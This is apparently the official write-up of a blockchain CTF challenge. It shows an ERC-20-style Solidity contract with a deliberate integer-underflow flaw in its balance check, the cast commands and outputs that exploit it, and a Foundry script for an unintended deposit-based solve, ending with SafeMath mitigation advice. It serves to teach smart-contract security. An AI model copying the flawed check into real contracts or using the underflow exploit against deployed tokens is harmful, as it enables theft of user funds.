---
# System prepended metadata

title: 'TCP1P CTF 2024: Baby ERC-20 (Official Writeup)'
tags: [ctf, writeup, computer security, smart contract, blockchain]

---

# Hiding in Plain Sight

![imageedit_1_3832766733](https://hackmd.io/_uploads/Bk6eRj9y1x.png)





*"After you solve the biggest problem, something else becomes the biggest problem."
 — **Balaji Srinivasan***

Last year, I wrote a Binary Exploitation [challenge](https://hackmd.io/@rennfurukawa/TCP1PCTF2023-bluffer-overflow) for TCP1P CTF 2023, with a classic buffer-overflow vulnerability, it was a beginner-friendly challenge as a introduction to Binary Exploitation category.

Two weeks after, I heard about some new categories in the CTF, Blockchain. 
Out of curiosity, I immediately did research on this new category, I found a [repository](https://github.com/minaminao/ctf-blockchain) that discussed a lot about this.

This immediately caught my attention for a reason :

- I saw some of the technologies that run on Blockchain, such as Cryptocurrency, which has recently begun to rise to the surface because of its popularity, and this market is getting a lot of funding from several institutions, which means that the audits also require a lot of money.

Therefore, I started exploring this new technology and got to know some programming languages such as Solidity, Rust, Move, etc. I began to see that in Solidity, many vulnerabilities could still often be exploited even though contracts were publicly executed. Some projects in Cryptocurrency also still often conduct audits to several companies even though their projects are already in the mainnet phase.

# ERC-20? What could go wrong?



![image](https://hackmd.io/_uploads/SkHisScJ1l.png)



We were given several source codes including `HCOIN.sol`, `Setup.sol`, and `Ownable.sol`, but we will focus more on the `HCOIN.sol` contract.

In the `HCOIN.sol` contract, it looks like a typical **ERC-20** contract, but upon further examination, this contract has a small error that maybe the first time, we will not notice that.



## Needle in a Haystack


![image](https://hackmd.io/_uploads/SkP8Cj91kl.png)


<details>
<summary>HCOIN.sol</summary>

```solidity 
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

import "./Ownable.sol";

contract HCOIN is Ownable {
    string public constant name = "HackerikaCoin";
    string public constant symbol = "HCOIN";
    uint8 public constant decimals = 18;
    
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Deposit(address indexed to, uint value);

    
    function deposit() public payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(_to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) {
        require(allowance[_from][msg.sender] >= _value, "Allowance exceeded");
        require(_to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance");
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        allowance[_from][msg.sender] -= _value;
        emit Transfer(_from, _to, _value);
        return true;
    }

    fallback() external payable {
        deposit();
    }

}
```
</details>

We can see something wrong, especially with the `transfer()` function.

![sus2](https://hackmd.io/_uploads/rkAABuc1ke.png)



- Vulnerabilities can be found due to `require(balanceOf[msg.sender] - _value >= 0, "Insufficient Balance")` and `balanceOf[msg.sender] -= _value`. This code can lead to **Improper Validation** and **Integer Underflow**, for Solidity versions before 0.8.0, it’s a good idea to use the [SafeMath](https://github.com/ConsenSysMesh/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) library to handle such cases more safely. 

- This specific check might not always be accurate or sufficient because it could lead to unexpected behavior. For example, if `balances[msg.sender]` is **1** and `_value` is **2**, the result of `balances[msg.sender]` - `_value` would be **-1**, which is negative. However, instead of throwing an error, Solidity handles this by *underflowing*.

- In this case, the number wraps around to the maximum value that can be stored in the type, which for **uint256** is:

```
2^256 - 1 = 115792089237316195423570985008687907853269984665640564039457584007913129639935
```

- Thus, if `balances[msg.sender]` is **1** and you subtract **2**, the result will wrap around to the largest possible value for **uint256**, which is the number above.


## Booby Trap

![image](https://hackmd.io/_uploads/rJysRj911e.png)



In this case, if an attacker sends greater amount than the balance, solidity will pass the checks because the result is non-negative value, so we can send greater amount than the balance.

```bash
➜ cast send $coin "transfer(address,uint256)()" $setup 2 -r $rpc --private-key $pk
```

Output : 
```bash
blockHash               0xfe99af518aa33e6fc482489f6b1f2cf9bfcd8a709d2a47726098a9e831bb6fe0
blockNumber             2
contractAddress         
cumulativeGasUsed       51046
effectiveGasPrice       3000000000
from                    0xe40c61Ae2aca9567155764F49c860b848e332341
gasUsed                 51046
logs                    [{"address":"0x4aee34cadaf9a67b8732a70fd89b254fa7d503a3","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x000000000000000000000000e40c61ae2aca9567155764f49c860b848e332341","0x000000000000000000000000d0e6da23c807df939b5776c47941f966b9ac25d9"],"data":"0x0000000000000000000000000000000000000000000000000000000000000002","blockHash":"0xfe99af518aa33e6fc482489f6b1f2cf9bfcd8a709d2a47726098a9e831bb6fe0","blockNumber":"0x2","transactionHash":"0x7c586c2700dd2869d47c9db2d11cea0d252c61f19c577b3341d852a9826ca560","transactionIndex":"0x0","logIndex":"0x0","removed":false}]
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000100000000000020000000000000000000000000000000000000000002000000000000000000000080000001000000100000000000002000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000100000000000
root                    0xba909e2d440e075d0ef5f36d7c9a699283ce1acde07cfd5e6e888e0ec31fc61d
status                  1
transactionHash         0x7c586c2700dd2869d47c9db2d11cea0d252c61f19c577b3341d852a9826ca560
transactionIndex        0
type                    2
to                      0x4aeE34caDAF9a67B8732a70fd89B254Fa7d503a3
blobGasPrice             "0x1"
```

- After transfering, we need to call `setPlayer()` and pass our wallet address from web launcher.

```bash
➜ cast send $setup "setPlayer(address)" $wallet -r $rpc --private-key $pk
```

Output : 
```bash
blockHash               0x56c1c2911628581bd1ed474b9e23c91eaf8f227252488694d99421224b1606d3
blockNumber             3
contractAddress         
cumulativeGasUsed       43870
effectiveGasPrice       3000000000
from                    0xe40c61Ae2aca9567155764F49c860b848e332341
gasUsed                 43870
logs                    []
logsBloom               0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root                    0x9e909d55c7f597e10f325b2a4945594540796a7b54d8c87ac7754d72d2371350
status                  1
transactionHash         0x0195adbc8b3643c9f4bb79e2f249d0e6db54387a6ff42ba65fe731dda0086c25
transactionIndex        0
type                    2
to                      0xd0e6da23c807dF939B5776c47941f966b9aC25D9
blobGasPrice             "0x1"
```


```bash
➜ cast call $setup "isSolved()(bool)" -r $rpc
true
```

# Failure is Feedback

![imageedit_1_5777574460](https://hackmd.io/_uploads/rJ4blhqkyg.png)



*"There is no failure, only feedback." — **Naval Ravikant***

I noticed that this challenge had one fatal flaw, which caused it to not be fully completed in the way it was set out to be. This unintended solution started when a participant complained because previously he was able to deposit directly into their wallet, but after the infra problem he could no longer do so.
Then I reinvestigated and it was true, that there was an unintended solution, where participants could deposit directly into their wallet.

![image](https://hackmd.io/_uploads/By2CFHqy1x.png)

The default setting on our blockchain infrastructure gives participants and deployers 5000 ether at the time the contract is deployed, allowing participants to deposit directly into their wallets and complete the challenge right away, without having to transfer using the provided functionality. Shout out to **@pop_eax** for mentioning this.

<details>
<summary>Exploit.s.sol</summary>

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;

import "forge-std/Script.sol";
import "../src/Setup.sol";
import "../src/HCOIN.sol";
import "forge-std/console.sol";

contract Exploit is Script {
    Setup setup;
    HCOIN coin;

    function setUp() public {
        setup = Setup($setup_address);
        coin = HCOIN(setup.coin());
    }

    function run() public {
        vm.startBroadcast();
        setup.setPlayer(msg.sender); 
        coin.deposit{value: 1001 ether}();
        console.log(setup.isSolved());
        vm.stopBroadcast();
    }
}
```
</details>

Output :
```bash
➜ forge script Exploit.s.sol --rpc-url $rpc --private-key $pk --broadcast -vvvv
[⠆] Compiling...
[⠑] Compiling 1 files with 0.6.12
[⠘] Solc 0.6.12 finished in 2.29s

Traces:
  [73214] Exploit::run()
    ├─ [0] VM::startBroadcast()
    │   └─ ← [Return] 
    ├─ [22475] 0xf26e41B733C48821C907Af5a2D55F31F88b8C457::setPlayer(0x6e6033e4dBB7a508b40F16EEEb9c2Ca9A0c15EFD)
    │   └─ ← [Stop] 
    ├─ [23824] 0x484B5149725B9753C090D2e65BaC1F6872283Aeb::deposit{value: 1001000000000000000000}()
    │   ├─ emit Deposit(to: 0x6e6033e4dBB7a508b40F16EEEb9c2Ca9A0c15EFD, value: 1001000000000000000000 [1.001e21])
    │   └─ ← [Stop] 
    ├─ [3375] 0xf26e41B733C48821C907Af5a2D55F31F88b8C457::isSolved() [staticcall]
    │   ├─ [513] 0x484B5149725B9753C090D2e65BaC1F6872283Aeb::balanceOf(0x6e6033e4dBB7a508b40F16EEEb9c2Ca9A0c15EFD) [staticcall]
    │   │   └─ ← [Return] 1001000000000000000000 [1.001e21]
    │   └─ ← [Return] true
    ├─ [0] console::log(true) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] VM::stopBroadcast()
    │   └─ ← [Return] 
    └─ ← [Stop] 

Script ran successfully.

== Logs ==
  true

## Setting up 1 EVM.
==========================
Simulated On-chain Traces:

  [22475] 0xf26e41B733C48821C907Af5a2D55F31F88b8C457::setPlayer(0x6e6033e4dBB7a508b40F16EEEb9c2Ca9A0c15EFD)
    └─ ← [Stop] 

  [23824] 0x484B5149725B9753C090D2e65BaC1F6872283Aeb::deposit{value: 1001000000000000000000}()
    ├─ emit Deposit(to: 0x6e6033e4dBB7a508b40F16EEEb9c2Ca9A0c15EFD, value: 1001000000000000000000 [1.001e21])
    └─ ← [Stop] 

==========================

Chain 31337

Estimated gas price: 3 gwei

Estimated total gas used for script: 126213

Estimated amount required: 0.000378639 ETH

==========================
##
Sending transactions [0 - 1].
⠉ [00:00:00] [#######################################################################################################] 2/2 txes (0.0s)##
Waiting for receipts.
⠙ [00:00:00] [###################################################################################################] 2/2 receipts (0.0s)
##### anvil-hardhat
✅  [Success]Hash: 0x64354609332b8f94d4c8ff68e643e98d81133800bd3ac37ac325ead81da12608
Block: 2
Paid: 0.000131721 ETH (43907 gas * 3 gwei)

##### anvil-hardhat
✅  [Success]Hash: 0x8805fc01f02c75d2be1d66beda7a2eff8956b1cc33542e03f5d3d0e212bc7504
Block: 3
Paid: 0.000134664 ETH (44888 gas * 3 gwei)

==========================

ONCHAIN EXECUTION COMPLETE & SUCCESSFUL.
Total Paid: 0.000266385 ETH (88795 gas * avg 3 gwei)
```

```bash
➜ cast call $setup "isSolved()(bool)" -r $rpc
true
```

## Conclusion

An attacker can exploit this by transferring more tokens than their balance. Due to the underflow, they effectively gain a massive balance, bypassing the intended safeguards. To prevent such vulnerabilities, using the [SafeMath](https://github.com/ConsenSysMesh/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) library, which safely handles arithmetic operations by checking for overflow and underflow, is recommended. Additionally, relying on more accurate checks for token balances would have stopped this attack from succeeding. This kind of vulnerability highlights the importance of secure coding practices, particularly in handling numeric values in smart contracts.


References: 

- https://swcregistry.io/docs/SWC-101/
- https://swcregistry.io/docs/SWC-129/
- https://consensys.github.io/smart-contract-best-practices/attacks/insecure-arithmetic/
- https://github.com/minaminao/ctf-blockchain
- https://blog.deadsec.sh/post/tcp1p-blockchain-ctf/


